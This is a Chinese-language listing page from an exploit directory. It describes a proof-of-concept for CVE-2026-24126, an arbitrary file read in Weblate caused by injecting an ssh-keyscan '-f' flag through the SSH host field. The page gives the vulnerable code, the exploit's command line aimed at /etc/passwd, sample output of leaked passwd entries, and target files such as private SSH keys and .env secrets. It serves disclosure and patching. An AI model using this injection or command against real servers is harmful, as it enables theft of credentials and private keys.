Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Weblate-CVE-2026-24126 — CVE-2026-24126 的概念验证漏洞利用程序,该漏洞是 Weblate 中通过 SSH 主机参数注入导致的任意文件读取漏洞,允许已认证的管理员读取服务器文件。 | Kitploit
工具/GitHubGitHub/alexb616/weblate-cve-2026-24126
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育红队
GitHubalexb616/weblate-cve-2026-24126

Weblate-CVE-2026-24126

CVE-2026-24126 的概念验证漏洞利用程序,该漏洞是 Weblate 中通过 SSH 主机参数注入导致的任意文件读取漏洞,允许已认证的管理员读取服务器文件。

查看仓库
15个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Weblate — 通过 SSH 主机参数注入实现任意文件读取

发现者: Alejandro Baño · 2026年1月 致谢: Weblate 5.16 发布说明


概述

Weblate 的 SSH 主机密钥管理端点会将经过身份验证的管理员提供的 host 参数直接传递给 ssh-keyscan,且不进行任何清理或参数验证。由于 ssh-keyscan 接受 -f <file> 标志来从文件中读取目标主机名,因此拥有管理员凭据的攻击者可以将该标志作为主机值注入,从而强制服务器打开任意本地文件。由此产生的错误输出(或标准输出)会原样反映到浏览器中的错误消息块内,从而泄露文件内容。


漏洞详情

字段值
目标Weblate(自托管实例)
组件SSH 密钥管理 — weblate/ssh/views.py · add_host_key()
所需认证是 — Weblate 管理员账户
受影响版本所有 ≤ 5.15.2 的版本(已在 5.0.2 和 5.15.2 中测试)
影响以 Web 服务器进程用户身份(weblate、www-data 等)读取任意本地文件
CVSS v3CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L
CVECVE-2026-24126

根本原因

root@kitploit:~
# weblate/ssh/views.py  — 简化版
def add_host_key(request, host, port=""):
    cmdline = ["ssh-keyscan"]
    if port:
        cmdline.extend(["-p", str(port)])
    cmdline.append(host)          # ← host 未经任何验证即被追加
    result = subprocess.run(cmdline, ...)

host 值直接来自 POST 请求体中的 host 字段,没有白名单、没有去除前导破折号,也没有在用户提供的值之前添加 -- 参数终止符。这使得攻击者可以注入任意 ssh-keyscan 标志。

ssh-keyscan -f /etc/passwd 会将 /etc/passwd 作为主机名列表读取,无法解析每一行,并为每一行产生错误输出。该错误输出会通过 CalledProcessError 处理器传播,并显示在 HTTP 响应中的 alert-danger 块内。


概念验证

root@kitploit:~
python3 exploit.py -r https://target.example.com -u admin -p admin123 -f /etc/passwd

选项

标志描述
-r / --rhostWeblate 实例的基础 URL
-u / --username管理员用户名
-p / --password管理员密码
-f / --file服务器上要读取的文件路径

示例输出

root@kitploit:~
python3 CVE-2026-24126.py -r http://localhost -u admin -p 'ChangeThisToAStrongPassword' -f /etc/passwd

[+] 用户 admin 登录成功
[*] 正在向 http://localhost/manage/ssh/ 发送载荷,这可能需要一些时间,请耐心等待...

[+] 提取的文件内容:
--------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
weblate:x:1000:1000::/home/weblate:/bin/sh
--------------------------------------------------
[!] 利用完成

影响

任何运行 Weblate 的操作系统用户(通常为 weblate 用户)可读取的文件,都可以通过单个经过身份验证的 POST 请求被窃取。敏感目标包括:

  • 应用程序密钥:settings.py、.env、local_settings.py
  • 私有 SSH 密钥:/var/lib/weblate/.ssh/id_rsa
  • 配置文件中的数据库凭据

修复建议

升级到 Weblate 5.16.0 或更高版本。 这是 Weblate 团队于 2026 年 2 月 18 日发布的官方修复,该版本对 SSH 主机字段引入了正确的输入验证。

免责声明

本仓库仅用于教育和授权的安全研究。请勿将此工具用于您不拥有或未经明确书面许可进行测试的系统。作者对滥用行为不承担任何责任。

下载工具